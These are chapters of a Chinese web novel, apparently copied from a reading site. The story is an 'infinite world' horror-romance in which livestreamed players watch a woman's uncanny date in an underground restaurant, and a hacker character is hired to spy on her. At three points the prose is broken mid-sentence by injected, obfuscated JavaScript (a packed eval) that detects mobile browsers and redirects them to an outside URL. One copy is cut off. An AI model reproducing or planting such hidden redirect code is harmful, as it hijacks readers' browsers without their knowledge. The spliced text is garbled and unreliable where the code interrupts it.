他的唇贴上她的,不轻不重地碾磨、厮磨,触感依然冰凉,但阮思甜能感觉到,在那层冰凉之下,有什么东西正在缓慢地升温。 她的唇是温热的,柔软得不可思议。 陆秋白像是在探索某种陌生的领域,动作间带着一种近乎研究般的专注,那种感觉十分奇异。 不是人类情侣间那种热烈急切的亲吻,而是更缓慢,更细致,细致到像是在品尝诱人的美味,又像是在探索生命的美妙。 阮思甜的心脏在胸膛里疯狂跳动。 她一只手还紧紧攥着那根小狗糖画,另一只手无意识地揪住了他胸前的衬衫。柔软的面料在她指尖皱成一团,糖画上融化的一点糖渍沾了上去,在白色的布料上留下一点黏腻的痕迹。 但她已经顾不上了。 巷外庆典的喧闹声变得模糊而遥远,像是隔着一层厚重的水幕传来。唯一清晰的是彼此的呼吸声,交缠在一起,在这狭窄昏暗的空间里被无限放大。 陆秋白微微偏过头,加深了这个吻。 他的鼻尖轻蹭过她的脸颊,呼吸间,他闻到了她身上那股很淡很淡的橙花香气。 那种味道来自她惯用的沐浴露,若隐若现,引人遐想。 这味道让他幻想着她沐浴后从浴室走出来的样子。 随后他想起那天晚上,她穿着丝绸睡袍迎接他,裙摆下是一双雪白的小腿,又想起她修长而柔弱的脖颈,脉搏在薄薄的肌肤下有力地跳动。 陆秋白的喉结又滚动了一下,阮思甜的嘴唇微微张开,他的舌尖便顺势探入,很轻地,试探性地触碰她的。 那一瞬间的触感让两人都顿了一下。 他的舌尖也是凉的。 但阮思甜的口腔是温热、湿润的,还残留着麦芽糖的甜香。 两种温度、两种触感碰撞在一起,激起的战栗顺着她的脊椎一路窜上来,酥麻感顺着温热的血液流淌,传遍四肢百骸。 他像是发现了什么有趣的事物,开始更细致地探索。 舌尖轻触,分离,又再次轻触。每一次触碰都极尽克制,却又带着某种不容拒绝的强势。 那种感觉像是春天的风反复拂过初绽的桃花,又像绵绵密密的细雨,一点一点浸润初春的原野。 阮思甜揪着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喧闹的人声、食物的香气、孩童的笑语一股脑涌过来,将巷子里那种隐秘潮湿的暧昧感冲淡。 阮思甜被陆秋白牵着,一步一步往前走。 她的脑子还有点懵,唇上残留的触感依然清晰,混合着麦芽糖的甜,交织成一种奇异的滋味。 忍不住偷偷看了一眼男朋友。 他已经恢复了平时那副波澜不惊的样子,侧脸线条在灯笼光下显得清俊而平静,仿佛刚才在巷子里亲吻她的人不是他。 只有他偶尔瞥向她时,眼底那一闪而逝的暗色,泄露了一丝不同寻常。 “去吃饭吧!”陆秋白说道。 阮思甜乖巧地点了点头。 两人穿过最后一段热闹的街市,拐进一条相对安静的小路。 晚风吹过,路边的树叶沙沙作响,阮思甜忽然没来由地感到一种被窥视感。 她下意识地回头,朝来时的方向望去。 长街的尽头,庆典的灯火依然璀璨,人影交错,欢声笑语随风飘来。 一切都看起来那么正常,那么热闹。 可她就是觉得,有什么人在看着他们。 不是路人的目光,也不是好奇的打量,而是一种更隐蔽的注视,有些黏腻,还充满恶意。 那道目光穿透喧嚣的人群,精准地落在了她的背上。 9. 心跳百分百(九) 阮思甜那莫名的被窥视感并非错觉。 长街庆典灯火璀璨的阴影里,有一栋废弃楼房。 此刻,在三楼的窗口,一双贪婪的眼睛正通过观测镜,牢牢锁定她与陆秋白相携离去的背影。 观测镜后的男人舔了舔干裂的嘴唇,喉结滚动。 他保持着这个姿势直到那对身影完全消失在街角,才缓缓放下设备,缩回黑暗中。 “肥羊,”他阴郁地笑了,声音沙哑,“真是行走的钞票!” 男人叫王哲,父亲以前经营着一家小公司,算是个富二代。 那时候他住在干净明亮的别墅区,开着豪车美女在怀,生活奢华惬意。 直到星海科技旗下一家子公司,推出了一套企业信用智能评估系统。 他父亲的公司因为一条未经证实的供应链违规传闻,在系统里评分骤降,银行贷款骤然中断,订单纷纷取消,随后就是天价的违约金,三个月内破产清算。 父亲从公司天台一跃而下,母亲接受不了这个打击,半年后也跟着去了。 王哲被迫从名校辍学,蜷缩进这片垃圾区,终日与他眼中的“下等人类”还有被废弃的“下等机械生命”为伍。 后来,他用剩余的钱买了二手电子设备,又花了好几年自学黑客技术。 最初,他只是想找到当年那条传闻的源头,后来发现,接些灰色地带的私活来钱更快。 就像这一次一样。 三天前,一个自称文雪的女人通过加密渠道联系上他,预付了五万星海币,要求调查一个叫徐媛的女人。 社会关系,近期异常,以及其它可疑之处。 附带要求是,顺便查一下一个名为阮思甜的女人。 王哲接了。 调查徐媛很简单,富家女,环保人设,家庭有私生子矛盾,最近沉迷某款小众游戏。 但就在他尝试深挖徐媛童年信息时,触发了某个隐藏警报。 不是常规的网络安全警报,他的设备屏幕突然黑屏三秒,然后自动重启。 重启后,桌面上多了一个纯黑色的对话窗口,没有标识,只有一行白色文字: 【你找到了一些有趣的东西,继续。】 王哲背脊发凉。 他尝试追踪信号源,却一无所获,他不敢动了,准备销毁所有数据跑路。 但第二天,那个窗口再次弹出,这次神秘人带来了一个合作邀请。 对方查看了他调查阮思甜的部分资料。 她的资料很少,只有些公开的社交动态、消费记录、常去场所。 然后那人报出一串数字,那笔钱如果到手,足够他重新做回人上人。 他兴奋到全身发抖。 随后那人提出了条件,听完后,王哲的大脑一片空白。 【不用担心,我们会保护你的安全,而且你就不想复仇吗?】 他挣扎了一整夜。 阮思甜的男友是星海科技高层,那种人碾死他像碾死蚂蚁。 但仇恨在心中翻搅,让他越想越恨。 如果不是星海科技,他不会家破人亡,不会像老鼠一样活在垃圾堆里。 而那笔钱…… 底层人重回顶层的第一桶金,哪有不沾血的? 更何况,那个神秘人展现的技术实力,让他隐隐觉得,或许对方真有和星海科技抗衡的可能。 他回了两个字:【成交。】 * 时间倒回到这一天清晨,钟表上的时间是六点四十七分。 地点是玩家团队临时租住的高端公寓。 此刻,卫生间的门锁着。 这里属于隐私空间,并不属于直播内容。 文雪打开水龙头,让冷水哗哗流淌,然后才转向镜子。 镜中的女人齐肩短发一丝不苟,细边眼镜后的眼睛冷静锐利。 接着,她缓缓解开衬衫最上面的两颗纽扣,将领口微微向左侧拉开。 锁骨下方,胸口上方,皮肤表面有一个暗红色的印记。 那印记并非纹身,它微微凸起,像是从皮肤下生长出来的,边缘微不可查地蠕动着。 形状是标准的六芒星,每个角都延伸出细小扭曲的纹路,像血液奔流的血管,又像某种古老文字的笔画。 灼痛感若隐若现地传来,时时刻刻提醒着她那场交易。 文雪深吸一口气。 片刻后,她拉好衣领,扣上纽扣。 手机被设置成静音,一条信息无声地出现。 她打开手机,看完后毫不犹豫地删除。 为掩饰在卫生间停留的时间,她转身按下马桶冲水键。 “哗啦——” 水流奔涌的声音在狭小空间里回荡,那条短信,还有她眼中一闪而过的冷意与决绝,好像也跟着被冲进了下水道。 打开门后,她又是众人口中那个沉稳可靠的雪姐了。 * 上午九点,为寻找交界餐厅,玩家们出现在地图标注的位置。 这里是新旧城区交界处一条偏僻的后街,两侧是破败的老式建筑,楼房墙面斑驳,遍布下三路的涂鸦,窗户破碎无人修补。 明明是白天,阳光却被挡在了巷外。 行走其中时,文雪和赵杰没什么反应,颜乐皱了皱眉,江敛身上传来一阵阵阴冷的感觉,格外不舒服。 他看了一眼陈野,对方正好奇地打量着那些涂鸦。 江敛有点尴尬,赶紧别过了头。 地图上明确显示交界餐厅就在这条街,但他们来回走了三遍,只找到一家废品回收站。 “定位错误?”颜乐低头反复核对手机。 “不,”文雪推了推眼镜,“是还没开放。” 对老玩家来说,这种情况并不陌生。 某些副本关键地点只在任务进程推进到特定阶段,或满足某些条件后才会出现。 踩点失败,四人来到了附近的小广场整理信息。 文雪简单分享了从黑客那里购买的资料。 “徐媛,二十六岁,父亲经营连锁餐饮,母亲是家庭主妇。有个同父异母的弟弟,去年刚成年,正在争取家族企业股份。表面看是普通的富二代家庭矛盾,没有异常事件记录。” “就这?”赵杰皱眉,“那她的噩梦怎么回事?” “资料里没提,”文雪说,“要么是黑客没挖到,要么是信息被处理过了。” 这时,坐在角落摆弄金属指套的陈野忽地笑了笑。 那笑声很短促,音调还很怪,像是听到了某个笑话。 等文雪和赵杰看过去时,他已经恢复成那副懒散模样,低头玩着手指上的骷髅头戒指。 “怎么了?”文雪问。 “没什么,”陈野头也不抬,“就是觉得,有钱人的烦恼真特别,嫌钱太多该怎么分,我什么时候也能有这种烦恼?” 文雪看了他两秒,没再追问。 * 傍晚六点,夕阳将老城区染成一片橘红色。 小广场边缘,赵杰和文雪在做最后的设备检查,颜乐好奇地看着他们,江敛和陈野则被支到不远处待命。 看着周围破败的建筑、晾在窗外的廉价衣服、地上乱扔的垃圾,江敛有些恍惚。 这景象太熟悉了,熟悉到让他心口揪起般的疼。 “想什么呢?”陈野递过来一瓶水。 “在想以前的日子,还有我妹妹,”江敛接过,没喝,“她那时候总说,等病好了,要租个有窗户的房间,早上能被阳光晒醒。” 陈野靠墙站着,没接话。 晚风吹动他染成金色的刘海,下面那双眼睛难得没有平时那种玩世不恭感。 “你爸妈呢?”陈野又问。 江敛沉默了下去。 陈野:“抱歉。” 陈野没再追问,过了一会,他自顾自地说道:“你知道吗?我以前的梦想啊,真的是当个乐队主唱呢!” “啊?原来你不是吗?”江敛一脸吃惊。 不过他没有在这个问题上过多纠缠,只是好奇道,“那后来呢?” 陈野道:“没有后来了。” 这一刻,江敛心中多了一种难以言说的感觉。 他瞥了一眼陈野的侧脸。 在杀马特的妆容和夸张耳钉下,那张脸其实很年轻,甚至有些未脱的稚气。 但陈野眼神深处有种东西极为冷硬,和这副张扬轻佻的打扮格格不入。 * 六点半,徐媛抵达小广场。 她今天显然精心打扮过,穿上了大红色的连衣裙,脚上是同色系高跟鞋,头发挽成优雅的发髻,妆容精致到每一根睫毛,整个人看着异常艳丽。 而她的手里,则拎着最新款限量手袋,整个人在破旧广场背景衬托下,像误入垃圾场的奢侈品。 “等久了吧?”徐媛微笑,语气里却听不出什么歉意,“出门前临时接了个环保协会的电话。” 文雪表示理解,团队迅速进入工作状态。 赵杰扛起伪装成专业摄影机的记录设备,颜乐检查收音麦克,文雪最后确认流程,而江敛和陈野则以杂工的身份出现。 随后,徐媛领着众人走向白天踩点的那条后街。 穿过废品回收站旁的小巷时,江敛注意到走在前面的文雪脚步微顿。 白天这里明明是死胡同,此刻却多出一条向下的混凝土楼梯,两侧墙壁挂着昏暗的瓦斯灯,灯罩锈迹斑斑。 楼梯尽头是一扇厚重的金属门,门楣上挂着一块不起眼的招牌,黑底白字。 交界。 门侧站着一个人。 与其说是人,不如说是人形物体。 他穿着餐厅侍者的黑色制服,站姿笔直到僵硬,面部皮肤光滑得不自然,在瓦斯灯下泛着哑光。 而他脸上的五官,标准却毫无生气,眼睛看着也很不自然,转动时能听见细微的机械声。 江敛心中产生了强烈的心悸感。 “欢迎光临交界餐厅。” 对方开口了,声音是电子合成的标准音调,每个字间隔完全一致,“请问有预约吗?” 徐媛报出王默的名字和预约时间。 那对奇异的眼珠转向文雪团队和摄影设备,停顿了三秒。 那三秒里,所有人都屏住呼吸。 对于跟拍这种略显突兀的事,副本NPC会作何反应? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959067|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “请随我来。”侍者最终说。 弹幕在这一刻刷过: 【这服务员好瘆人啊!】 【我也觉得,不知道是仿生人还是诡异?】 【这个c级本给人的感觉好怪。】 侍者推开金属门,门后的空气扑面而来。 那是一种浓重铁锈与陈旧机油交织的味道,还混杂了一丝若有若无的腥气,很让人反胃。 灯光是暗红色的,来自墙壁上裸露的管道间隙。 楼梯继续向下,更陡也更窄。 两侧开始出现巨大的齿轮,它们静止不动,表面凝结着黑红色的污垢。 陈野眼中露出些许思索。 显然,这是一家旧工业风格的餐厅。 侍者将他们带到了观察室。 它是个约五平米的小房间,一面墙是单向玻璃,正对着隔壁的包厢。 玻璃前空无一物,角落里堆着废弃的电缆。 侍者离开前,从外面锁上了门。 “咔哒。” 声音在寂静中格外清晰。 颜乐下意识去摸门把手,文雪按住她的手,摇头。 透过单向玻璃,能清晰看见旁边的包厢。 那更像一个工业时代的牢房,除了玻璃墙外,其余三面墙都是锈蚀的钢板,头顶还垂下几根断裂的链条。 房间中央有一张金属桌,两把铁椅。 唯一的光源是头顶的一盏灯,简陋的灯罩下,灯泡裸露在外,散发出昏黄色的光。 七点,包厢另一侧的门开了。 王默走了进来。 他穿着黑色风衣,身姿挺拔,面容英俊得近乎完美,完美到缺乏生气。 接着,他在其中一张椅子上坐下。 十五分钟后,徐媛才缓缓走了进来。 看到王默的瞬间,她眼睛明显一亮。 “默,抱歉,我临时有事,所以来迟了。”她语气娇嗔。 故意迟到十五分钟,是为了看看王默的反应。 “没关系,”王默的声音温和,目光落在徐媛脸上,“等你,多久都可以。” 徐媛心中窃喜,这才提起跟拍的事:“对了,我请了《午夜都市》节目组来记录我们的第一次约会,你不介意吧?” 饶是文雪定力过人,也被徐媛这一手操作震惊到了,其他玩家也露出了不可思议的眼神。 他们以为徐媛早就和王默沟通过这事。 无限世界的直播中,弹幕中骂声一片。 【靠!徐媛居然现在才说跟拍的事,我要是王默我掀桌了。】 【楼上醒醒,王默根本不是人好吗!】 王默的目光落在了单向玻璃的方向。 那一瞬间,文雪几乎以为他穿透玻璃看见了他们。 但他只是停顿了两秒,然后微笑点头:“当然可以。我们的故事,值得被记录。” 虽然知道这是任务流程的一环,十有八九不会有问题,但玩家们还是悄悄松了口气。 侍者开始上菜,餐盘里的食物十分精美。 暗红色的肉排浇着浓稠酱汁,配餐面包烤成金黄色,蔬菜切成大小均匀的形状。 所有食物都冷冰冰的,刀叉切割肉排时,没有汁水流出,质感也说不出的僵硬。 徐媛吃了一口,表情微僵,但还是笑着夸赞:“很特别的风味,就像这里的装修一样。” 王默慢条斯理地切着自己那份,刀尖划过餐盘,发出让人牙酸的摩擦声。 他吃得很慢,每一口都咀嚼很久。 过了一会,王默放下刀叉,拿起餐巾优雅地擦拭嘴角。 “阿媛,”他忽然开口,“我们来玩个小游戏吧。” 徐媛笑道:“什么游戏?” “问答游戏,一共三轮。”王默身体微微前倾,眼神暗沉沉的,“你回答我的问题。如果三轮都答对,我会给你一个特别的礼物。” “如果都答错了,”他停顿了下,嘴角勾起一个温柔到有些渗人的弧度,“就要接受一个小小的惩罚。 包厢里的空气似乎凝固了,徐媛脸上的笑容有点挂不住。 “当然,你可以请场外援助。”也许是感受到了徐媛的不安,王默很贴心地补充了一句,视线再次扫过那面玻璃。 徐媛本能地觉得哪里不对劲,但虚荣心和“这一定是浪漫考验”的念头压过了不安。 “好啊,”她努力让声音听起来轻松,“你问。” 而在观察室内,文雪压低声音,语速极快:“开始了,注意听问题,分析可能的正确答案。但我们绝对不能主动出声提示,否则很有可能被判定为干扰约会流程。” 赵杰和颜乐点头,江敛死死盯着玻璃,额角渗出冷汗。 王默的视线重新投向徐媛,他的手指在桌面上轻轻敲击,节奏诡异,像是某种倒计时。 “那么,第一个问题。” 他的声音在寂静的房间里清晰回荡,也透过收音设备传进观察室每个人的耳朵。 “你还记得我们第一次见面时,”王默特意加重了“见面”两个字,嘴角笑意加深。“我说过什么话吗?” 观察室里的温度骤降。 10. 心跳百分百(十) 晚上七点四十。 听清楚王默的问题后,徐媛松了一口气。 她眨了眨眼,用带着几分亲昵的口气回道: “我终于等到你了。” 她脱口而出,声音带着刻意的柔软,像是在重温某个浪漫的瞬间。 说完,她微微歪头,露出一个我很懂你的表情。 “那是当初我们匹配成功后,你对我说的第一句话。”徐媛的手指无意识地摩挲着红酒杯。 “我一直觉得,那句话特别美,像是两个等待已久的灵魂穿越虚拟世界,终于找到了彼此。” 包厢顶部的灯泡发出“滋滋”的电流声,昏暗的灯光闪了一下,随即恢复正常。 王默坐在铁椅上一动不动,在暗淡的光线下,他身上那件黑色风衣几乎融进身后的背景里,衬得那张过于英俊的脸清晰异常。 他看着她,嘴角保持着那个温柔的弧度。 灯光落进他瞳孔时,像被什么东西吸收了,只剩一片深沉的暗色。 他没有点头,也没有摇头,只是那样静静地看着徐媛,看了足足有十秒。 徐媛的脸有些发红,她摸了摸自己的脸颊。 是不是自己回答的太快,显得上赶着了?早知道先假装思索一会了! 唉,没办法,做人太直爽也很麻烦呢! 她端起酒杯抿了一口,故作轻松,“怎么了?难道我答错了?” 王默终于动了,身体微微前倾,双手手肘撑在冰冷的金属桌面上,十指交叉。 只听他温和地说道:“你回答得很好。” 徐媛的笑容重新绽开。 桌面上响起手机提示音,她拿起手机一看,发现游戏图标上,那颗心的跳动速度在加快。 点进去一看,迟迟未动的心跳值一下子从99%增加到了99.3%。 徐媛心中十分甜蜜。 看来王默对她的回答内容和速度都非常满意。 桌面上有一个铃,王默按了一下,没过多久,侍者推门而入。 这次是个女性仿生人。 她穿着经典的女仆装,制服却有些破损,还沾了些奇怪的暗红色液体。 左肩处的布料撕裂,露出底下金属质感的骨架,几根裸露的电线从中垂下,末端闪烁着微弱的蓝光。 再往上看,就会发现她的脸只有一半是完好的。 那一半的皮肤十分光滑,闪烁着油亮的光;另一半则呈损毁状态,金属头骨暴露在外,空洞的眼眶中能看到精密的电子元件。 最诡异的是她的动作。 她端着一个华丽的银质餐盘,步伐却不像机器人那样僵硬,反而带着一种奇异的流畅感。 餐盘放在金属桌上时,发出沉闷的撞击声。 “客人,您点的餐到了。”女仆露出亲切的笑容,看着十分诡异。 * 观察室里,颜乐捂着嘴,脸色发青,“那东西能吃吗?” “肯定不能,”赵杰满脸嫌弃,“这吃得是什么玩意?离谱!” “不对。”文雪突然皱眉,压低声音说道。 赵杰有些疑惑,“什么不对?王默没说她答错啊!” 颜乐凑过来,声音发紧:“雪姐,你的意思是徐媛错了?” 文雪:“他说的是回答得很好,不是答对了。” 她没有看他们,而是继续盯着包厢内,“关键这不像是约会问答。你们仔细看那个房间,看他的眼睛,他的姿态,这更像是一场审讯。” 【我靠我靠,雪姐也太敏锐了吧!这绝对有问题,徐媛肯定答错了!】 【这本的风格还挺特别,有点像上次那个团灭的s级本《忏悔录》的低配。】 【我也刷到过那个本,太吓人了,整整三个晚上,我都怀疑我家窗户那里有人脸从铁条里挤进来……】 【这家餐厅也确实渗人!王默那个笑容,让我直起鸡皮疙瘩,还有那女仆的正脸,看得我都痿了好吗?】 【楼上的兄弟,你这口味……】 【徐媛这脑回路也是清奇,都什么时候了还在那两个灵魂相遇,恋爱脑晚期?】 文雪继续说道:“第一个问题,我觉得他在试探徐媛有没有最基本的认知。” 什么认知? 江敛很想继续认真听老玩家分析,但他无法集中注意力。 此刻,他背靠着墙壁,脸上毫无血色。 右手则死死按着胸口,额头上全是冷汗。 没有人注意到角落里的异常,他的嘴唇颤抖着,却说不出话。 他很不舒服。 * 餐盘里的食物华丽而诡异。 暗红色的肉,暗红色的汤汁,莫名令人联想起心脏被切割后,浇上血做成菜的样子。 那浓稠的酱汁在灯光下反射出油腻的光泽,令人恶心,还散发着一股隐约的霉味。 徐媛看着那盘东西,脸上的笑容有点僵。 她其实一点也不想吃。 但王默正看着她,眼神里充满期待。 这是答对后的奖励吗? 徐媛咬了咬牙,拿起刀叉。 她觉得,这可能是王默为了表示对她的重视,特意点了这家风格独特的餐厅。 据说这家餐厅从不对普通人开放,那么王默的身份…… 想到这点,她心中有些激动,于是毫不犹豫地切下一小块肉,送进嘴里咀嚼。 难吃。 这真的是能入口的食物吗? 还是说,身份高的人口味也会比较独特? 那她确实得尽早适应才行。 徐媛挤出一个笑容:“很好吃。” 王默微笑点头,自己也切了一小块,慢条斯理地送进嘴里。 他咀嚼得很慢,很仔细,仔细到有些庄重。 过了好一会儿,他才吃完,而后放下餐具,拿起餐巾擦了擦嘴角。 “阿媛。”他的声音温柔得像情人的低语。 徐媛立刻坐直身体,脸上重新挂起笑容。 “我们继续游戏吧。”王默说,手指在桌面上轻轻敲击,“现在是第二个问题。” 徐媛松了口气,尽量自然地放下手中的刀叉,做出一副认真倾听的样子。 王默顿了顿,目光落在徐媛脸上,缓缓开口。 “你还记得那一次,你为什么对我生气吗?” * 【第二个问题来了!押注押注,徐媛会不会又答错?】 【押个毛!肯定错啊,她脑回路奇葩的很!】 【不知道雪姐有思路了没有?】 赵杰和颜乐一起翻看着收集到的所有资料,生怕自己漏过哪个点,可越看他心中越是着急。 没有,没有任何线索。 他抓了抓头发:“这他妈的怎么猜?情侣吵架的原因有一万种可能,比如回消息慢了、忘了纪念日……” “不。”文雪摇头,“这不是普通的情侣吵架。你们注意王默的用词是那一次。” “特指某一次,而且在他心里有特殊意义。” 颜乐皱眉:“会不会和那个梦有关?徐媛不是说,她总梦到地下室里有人敲门吗?” 赵杰一愣:“可我们一直没打听出来那个梦的具体内容。雪姐,当时是不是该追问下去?” 【赵杰说得对,为什么没重点调查那个梦?】 【我也觉得奇怪,以文雪的性格, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江敛微微平复了下呼吸,随后他颤抖着伸出手想要接过,试了几次都没成功。 陈野看不过去了,一把拿过糖,剥开糖纸塞进他嘴里。 清凉感在口腔里蔓延,稍微压下了那股恶心感。 “谢、谢谢!”江敛语气颤抖。 颜乐贴心地回道,“没事,大家都是新人,相互照顾应该的。” 文雪只是很冷漠地看了他一眼,随后继续将目光转移到了包厢内。 赵杰则铁青着脸,明显流露出厌恶的神色。 【这小哥怎么了?】 【还能怎么了,烂人事多呗!】 【文雪赵杰他们对新人也太冷漠了,就一点都不管?】 【哈?就这衰仔前期的表现,没给他叉出去喂诡异已经很好了!】 【对啊,还要怎么管他?亲亲抱抱举高高吗?哪里来的小王子,滚一边去!】 【说话别太刻薄,再怎么样也是一条人命。】 【颜妹真是小天使,还带糖,好甜啊,比某些老玩家有人情味多了!】 【不知道是不是我想多了,我总觉得江敛这小哥不太对劲……】 * 包厢里,徐媛已经开始回答。 她根本没想过向观察室里的节目组求助。 在她看来,这是她和王默之间浪漫的考验,哪里用得着别人帮忙呢? “生气?”她歪着头,做出思考状,“我有对你生气过吗?” 半晌后,她眨了眨眼睛,微笑。 “哦,我想起来了,那一次……” 她的声音突然卡住,脸上的笑容僵硬,随后瞳孔收缩,一脸惊恐地看着王默身后。 11. 心跳百分百(十一) 徐媛的话卡在了喉咙里。 王默身后有一道小小的的黑影凭空浮现。 包厢里没有暖气,地下深处特有的阴冷感顺着脊椎往上爬,潮湿的气息夹杂着铁锈味钻进鼻孔。 黑影抬起一只小小的手,搭在了王默的右肩上。 那只手发青发黑,皮肤呈现一种浮肿质感,指尖更是血肉模糊,指甲外翻,露出底下暗红色的肉。 这怎么看都不像是活人的手! 徐媛的呼吸骤然停止。 “阿媛?”王默的声音将她拉回现实,语气里带着恰到好处的关切,“怎么了?脸色这么差。” 黑影消失了,仿佛刚才那一幕只是因光线问题而产生的错觉。 徐媛用力眨了眨眼,心脏在胸中狂跳,她深吸一口气。 是眼花了。 一定是最近太忙没休息好,才会被那个该死的噩梦影响,产生这种可笑的幻觉。 她想起今天出门前,母亲打来的那通电话,语气还是一贯的温和,内容却让她心头发冷。 “阿媛啊,你弟弟徐航昨天又拿下了一个项目,你爸爸高兴得不得了……” 徐航。 那个私生子。 明明从小就被所有人看不起,连母亲最初也对他厌恶至极。 可这些年,他用尽手段一点点讨好母亲,陪她逛街、听她抱怨、送她那些看似贴心实则廉价的小礼物。 恐怕连亲儿子也做不到这种地步吧!徐媛心中冷笑。 而母亲竟然真的对他改观了。 上周的家庭聚餐,母亲甚至当着所有人的面,拍了拍徐航的肩膀,笑着说“这孩子可真懂事啊”。 那一刻,徐媛分明看见,母亲眼中闪过对她这个亲生女儿的轻视。 环保事业?公益形象? 她在社交媒体上精心打造的人设,在父母眼里,恐怕还不如徐航签下的一个项目合同来得实在。 不行,她必须抓住点什么,比如眼前的王默。 他身上那种越来越明显的、超越普通人的气质,还有这家明显不对普通人开放的餐厅,这一切都在暗示,他的身份绝不简单。 而且,他们也是发自灵魂地相爱,本就该是天造地设的一对! “阿媛?”王默又唤了一声。 徐媛猛地回过神,脸上重新堆起笑容。 她撩了撩头发,声音刻意放软,带着几分嗔怪:“没什么,就是突然想到上次生气的事。” 她根本没想过要向观察室里的节目组求助。 这种小问题,哪里需要别人帮忙? 再说了,这分明是王默在和她调情,是情侣间的情趣考验。 她要是连这都应付不了,岂不是显得很没魅力? “其实啊,”徐媛歪着头,做出一副回忆状,“那次生气,是因为我以为你和别的女性匹配成功了。你知道的,我当时好难过……” “后来才知道是系统显示错误,是我搞错了。”徐媛的语气变得更加柔软,带着撒娇的意味,“但也不能全怪我嘛,谁让你这么优秀呢?优秀的人,总是容易让人没有安全感呀!” 她说完,期待地看着王默。 王默依然坐在那里,嘴角保持着那个温柔的弧度。 他没有说话,只是静静地看着她。 片刻后,他缓缓开口:“阿媛,很多时候你会在一些无关紧要的小事上纠结,却又忘记真正重要的事。” 徐媛的心往下沉了沉。 几秒后,她的手机再次发出提示音,她点进去后,发现心跳值从99.3%跳到了99.6%。 果然! 徐媛松了一口气,心中一阵窃喜。 她就知道,男人其实就是放不下面子,却又最吃这一套。 * 观察室里,赵杰盯着单向玻璃后的画面,额角的青筋跳了跳。 “她到底在说什么鬼话?”他压着嗓子,声音从牙缝里挤出来,“这他妈是生死攸关的任务,她当是在演偶像剧呢?” 颜乐咬着下唇,脸色发白:“雪姐,我们、我们真的没办法提示她吗?” “不能。”文雪的声音很冷静,但细听之下,能察觉到一丝不易察觉的紧绷,“任何形式的主动提示,都可能被判定为干扰约会流程。我们现在能做的,只有观察和记录。” 她看了一眼时间:七点五十五分。 【我受不了了,徐媛脑子里装的是水吗?】 【赵杰的表情笑死我了,一副想冲进去把徐媛脑子里的水倒出来的样子,哈哈哈!】 【这已经不是恋爱脑了,这是脑死亡吧!】 陈野靠在墙角,他的目光不经意地在文雪身上停留了片刻,又移向角落里脸色惨白的江敛。 江敛的状态还是很糟糕。 * 包厢的门再次被推开,仿生人女仆又带来了新的佳肴。 “客人,您点的餐,请慢用。”女仆的笑容显得格外怪异。 盘子里依旧是暗红色的肉,但这次切成更薄的片状,摆成了一朵花的形状。 里面的酱汁更浓稠,几乎像是凝固的血。 王默拿起刀叉,慢条斯理地开始进食。 他吃得很专注,每一片肉都要咀嚼很久。 昏暗的灯光下,他吞咽时喉结滚动的弧度清晰可见。 徐媛看着盘子里的食物,胃部一阵翻涌。 但她不能表现出来。 她拿起刀叉,强迫自己又吃了一小块。 那种令人作呕的霉味和铁锈味再次弥漫开来,她几乎要吐出来。 不能吐! 她硬生生咽了下去,脸上挤出一个甜美的笑容:“真的很特别呢!” 王默看向徐媛。 观察室里,所有人都屏住了呼吸。 文雪又看了一眼时间:八点整。 * 时间一分一秒地流逝。 王默没有立刻开口。 他就那样静静地坐着,目光落在徐媛脸上,一动不动。 包厢里的空气仿佛凝固了。 头顶那盏简陋的灯泡发出持续的“滋滋”电流声,光线忽明忽暗,在锈蚀的钢板墙上投下晃动的影子。 那些影子扭曲变形,像是无数只手在墙壁上挣扎。 徐媛手臂上缓缓起了鸡皮疙瘩。 好冷。 整条手臂都暴露在阴冷的空气里,皮肤上起了一层细密的疙瘩,她下意识地抱了抱手臂。 王默的目光随着她的动作移动。 他的视线很沉,一点点压在她身上。 徐媛感到一种难以言说的压迫感,连呼吸都变得困难。 终于,在漫长的沉默后,王默开口了。 “第三个问题。” 徐媛浑身一颤。 王默身体微微前倾,双手交叠放在桌面上。 “阿媛,”他看着她,嘴角勾起一个温柔的弧度,“你还记得,那一次你关了我多久吗?” 话音落下的瞬间,包厢里的温度似乎又降了几度。 徐媛脸上的笑容僵住了。 关、关了多久? 这个问题像一根尖锐的针,猝不及防地刺痛了她。 有什么东西被触动了,那个困扰她许久的噩梦在脑海中一闪而过。 地下室、敲门声、无尽的黑暗…… 徐媛的指甲深深掐进掌心。 她需要帮助。 这个念头第一次清晰地浮现出来。 她想要转头,看向那面单向玻璃,节目组就在那里,他们可以…… “阿媛?” 一个声音突然在她脑海里响起,不是王默的声音。 是幼年的阮思甜。 那个穿着漂亮裙子,像小公主一样光芒璀璨的女孩。 画面一闪,幼年阮思甜的脸变成了现在的阮思甜。 她的嘴角勾起似笑非笑的弧度,眼神里带着她熟悉又憎恶的、那种高高在上的感觉。 怒火腾地烧了起来。 凭什么? 她凭什么要向别人求助?凭什么要让别人看见她狼狈的样子? 阮思甜可以高高在上,无非是钓到了一个金龟婿陆秋白,可她的王默也不比陆秋白差! 她不需要帮助。 她能处理好。 “阿媛,”王默的声音将她拉回现实,语气依旧温柔,“外面有鲸鱼烟花呢!” “以前我就说过,想和你一起看的。” “我总觉得,它代表幸运,会让我们最终重逢。” 徐媛一愣。 鲸鱼烟花? 她茫然地看向王默,脑海中一片空白。 * 她张了张嘴,想说些什么,却发现自己根本接不上话。 